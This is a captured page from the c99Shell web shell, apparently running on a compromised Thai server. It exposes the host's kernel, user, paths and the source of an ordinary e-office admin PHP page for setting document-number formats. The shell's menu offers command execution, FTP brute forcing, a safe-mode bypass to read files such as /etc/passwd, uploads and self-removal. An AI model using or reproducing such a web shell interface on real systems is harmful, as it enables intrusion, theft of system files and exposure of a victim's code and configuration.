!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/mistk/mistk/eoffice/admin/   drwxr-xr-x
Free 50.78 GB of 127.8 GB (39.73%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     formatDocNo.php (10.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../class/clsDocType.php";
include_once 
"../class/clsRunningDoc.php";
include_once 
"../class/clsSysConfig.php";
include_once 
"../link/keyThai.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new Department($oC);
$oDt = new doctype($oC);
$oRd = new runningdoc($oC);
$oSys = new sysConfig($oC);

$maxgroup=$oDP->SearchMaxDocGroup();
$oSys->SearchByKey($free);
$oSys->GetRecord();
$InputThai=$oSys->SearchByInputThai();
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<iframe id="addDocNo" name="addDocNo" src="" style="width:$0px;height:0px;border:0"></iframe>
<br>
<table  width=703  align="center">
<tr><td height="150">
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="?mm=1">ตั้งค่าการใช้งานระบบ</a>
      <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="?mm=1">ตั้งค่าหนังสือราชการ</a>
<img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle">ตั้งค่าที่หนังสือส่ง</font></legend><br>
       <form name="ff" action="processFormatDocNo.php" method="post" target="addDocNo">
       <table width="90%" height="22" border="0" align="center"><tr>
       <? if($s=="1"){ ?>
       <td align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"><strong>    
                บันทึกรูปแบบที่หนังสือราชการเรียบร้อยแล้ว</strong></font></td>
        <? ?>
            </tr>
        <tr><td>&nbsp;</td></tr>
        <tr><td>&nbsp;&nbsp;<strong>ที่หนังสือขององค์กร</strong>&nbsp;<input name="formatDoc" type="text" size="17" maxlength="32" value="<? echo a2th($oSys->sysDocNo); ?>" onKeyPress="if(event.keyCode==39){  alert('ระบบไม่สามารถบันทึกตัวอักษรนี้ได้!!'); return false;}else{     event.keyCode=KeyfontThai(event.keyCode,'<? echo $InputThai?>'); return event.keyCode;  }">
                <br><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">(หลังจุดที่หนังสือขององค์กร <? echo a2th('สธ 0203.'); ?> ให้เพิ่มข้อมูลเลขที่หนังสือของวิทยาลัยต่อท้าย
        <br>เช่น ที่หนังสือของ วสส.ขอนแก่น  "<? echo a2th('สธ 0203.082'); ?>") </font> </td></tr>
       </table>  <br>
        <table width="70%" height="22" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_17'];?>">
          <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_15'];?>" height="22"> 
            <td width="36%" align="center"><font size="2"><strong>ชนิดหนังสือ</strong></font></td>
            <td width="27%" align="center"><font size="2"><strong>รูปแบบที่หนังสือส่ง<br><a href="#info_docNo">[<img src="../picture/bookmark.gif" alt=""  border="0">&nbsp;ดูรูปแบบด้านล่าง]</a></strong></font></td>
          </tr>
          <? $oDt->RSdoctype(); 
                  while(
$oDt->GetRecord()){  
                    if(
$oDt->DtP=="1"){
                            echo 
"<tr height=22><td colspan=5 align=\"left\">&nbsp;&nbsp;"; if($oDt->DtPDtID=="0"){  echo "<strong>";  }else{  echo "&nbsp;&nbsp;-&nbsp;";  } echo $oDt->DtName;    if($oDt->DtPDtID=="0"){  echo "<strong></td></tr>";  }         
                    }else{    
            
?>
          <tr height=22>
          <td align="left">&nbsp;&nbsp;<? if($oDt->DtPDtID=="0"){  echo "<strong>";  }else{  echo "&nbsp;&nbsp;-&nbsp;";  }  echo $oDt->DtName;    if($oDt->DtPDtID=="0"){  echo "<strong>";  } ?></td>
          <td align="center">
          <input name="sendNoPrefix[<? echo $oDt->DtID?>]" type="text" size="17" maxlength="32" value="<?  echo $oDt->sendNoPrefix?>" onKeyPress="if(event.keyCode==39){  alert('ระบบไม่สามารถบันทึกตัวอักษรนี้ได้!!'); return false;}else{     event.keyCode=KeyfontThai(event.keyCode,'<? echo $InputThai?>'); return event.keyCode;  }" <? if($Toedit!=1){  echo 'disabled';  }?>>
         <? if($Toedit!=1){ ?>  <input name="sendNoPrefix[<? echo $oDt->DtID?>]" type="hidden" size="17" maxlength="32" value="<?  echo $oDt->sendNoPrefix?>" ><? }?>
          </td>
         </tr>
          <?  //show
             
}  //while ?>
        </table>
        <table width="80%"  border="0" align="center" cellpadding="0" cellspacing="0" >
        <tr><td><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;(ระบบได้กำหนดรูปแบบที่หนังสือส่งตามระเบียบงานสารบรรณไว้แล้ว ถ้าต้องการแก้ไข ให้กดปุ่มแก้ไข)&nbsp;
        <input type="button" name="a" value="แก้ไข" onClick="location.href = 'formatDocNo.php?Toedit=1'">
        </font></td></tr>
        </table>
          <table width="100%" height="137" border="0" align="center" cellpadding="0" cellspacing="0" ><tr>
            <td height="135"> 
            <a name="info_docNo"><br>
            <table width="90%" height="137" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse" >
                <tr> 
                  <td width="45%" height="135"> <table width="100%" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_12'];?>">
                      <tr> 
                        <td width="52%" align="left"><img src="../picture/bookmark.gif" alt=""  border="0" > 
                          <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"> 
                          &nbsp;<strong>รูปแบบที่หนังสือส่ง</strong></font></td>
                      </tr>
                      <tr height="23"> 
                        <td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>%o &nbsp;ที่หนังสือขององค์กร<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;เช่น &nbsp;<? echo a2th($oSys->sysDocNo); ?></strong></td>
                      </tr>
                      <tr height="23"> 
                        <td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>%d &nbsp;เลขที่หน่วยงาน</strong></td>
                      </tr>
                      <tr height="23"> 
                        <td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>%r &nbsp; 
                          เลขทะเบียนส่งหนังสือ</strong></td>
                      </tr>
                      <tr height="23"> 
                        <td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>%y &nbsp;ปีปัจจุบัน
                          (พ.ศ.)</strong></td>
                      </tr>
                        <tr height="23"> 
                        <td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>%p &nbsp;หนังสือเวียน (ว.)</strong></td>
                      </tr>
                    </table></td>
                  <td width="55%" >
                   <table width="100%" bgcolor="<?php echo $GLOBALS['COLOR_BG_TABLE_5'];?>">
                      <tr> 
                        <td width="52%" align="left"><img src="../picture/blank1.gif" alt="" width="19" height="23"  border="0" style="cursor:pointer;" onClick = "editWpDept('<? echo $oDP->deptId?>','<? echo $oWG->workGpId?>')"> 
                          <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"> 
                          <strong>ตัวอย่าง การกำหนดรูปแบบที่หนังสือส่ง</strong></font></td>
                      </tr>
                       <tr height="23"> 
                        <td align="left">&nbsp;&nbsp;&nbsp;&nbsp;<strong>%o.%d/%p%r</strong> 
                          &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;=&gt; &nbsp;
                          <? echo a2th($oSys->sysDocNo.".01/ว.158"); ?></td>
                      </tr>
                      <tr height="23"> 
                        <td align="left">&nbsp;&nbsp;&nbsp;&nbsp;<strong>%o/%y/%r/%d 
                          </strong> &nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;<? echo a2th($oSys->sysDocNo."/2550/158/01"); ?></td>
                      </tr>
                      <tr height="23"> 
                        <td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>%r/%y</strong> 
                         &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                          =&gt;&nbsp;&nbsp;&nbsp;<? echo a2th("158/2550"); ?></td>
                      </tr>
                      <tr height="23"> 
                        <td>&nbsp;&nbsp;</td>
                      </tr>
                      <tr height="23"> 
                        <td>&nbsp;&nbsp;&nbsp;&nbsp;</td>
                      </tr>
                    </table>
                  </td>
                </tr>
              </table></a></td>
          </tr>
       </table>
      <table align="center" width="90%">
      <tr><td >&nbsp;</td></tr>
      <tr><td colspan="2" align="center">
                      <input type="submit" name="setDocNo" value="บันทึก" onClick="return checkFormat();">
                <input type="button" name="cancel" value="ยกเลิก" onClick="location.href = '?mm=1'">
                <input type="hidden" name="method">        
            </td></tr>
      </table></form>
</fieldset>
      <table width="704" border="0" align="center">
        <tr height=25> 
          <td width="76" align="left" ><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;<strong>หมายเหตุ 
            : </strong>&nbsp;</font></td>
          <td width="618" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">- 
            กรณีหนังสือชนิดใดๆที่ไม่มีการใส่ข้อมูลรูปแบบที่หนังสือส่ง 
            ในช่อง </font> 
            <input name="textfield" type="text" size="5" maxlength="2" disabled>
            <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;</font></td>
        </tr>
        <tr> 
          <td width="76">&nbsp;</td>
          <td width="618" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp; 
            จะหมายถึงหนังสือชนิดนั้นไม่มีข้อมูลรูปแบบที่หนังสือส่ง</font></td>
        </tr>
        <tr> 
          <td width="76">&nbsp;</td>
          <td width="618" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">-&nbsp;
            <img src="../picture/new.gif" alt=""  border="0" >&nbsp;คลิกเพื่อบันทึกเลขที่หน่วยงานของแต่ละหน่วยงาน (%d)</font></td>
        </tr>
      </table>
</td>
</tr>
</table>
</body>
</html>

<script language="javascript">
function checkFormat(){
 if (document.ff.formatDoc.value=="") {
      alert('กรุณากรอกที่หนังสือขององค์กร');
      document.ff.formatDoc.focus();
      return false ;
   }
        var agree=confirm("คุณต้องการบันทึกข้อมูลที่หนังสือส่งใช่หรือไม่ ?");
        if (agree){
            return true ;
        }else{
            return false ;
        }    
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0159 ]--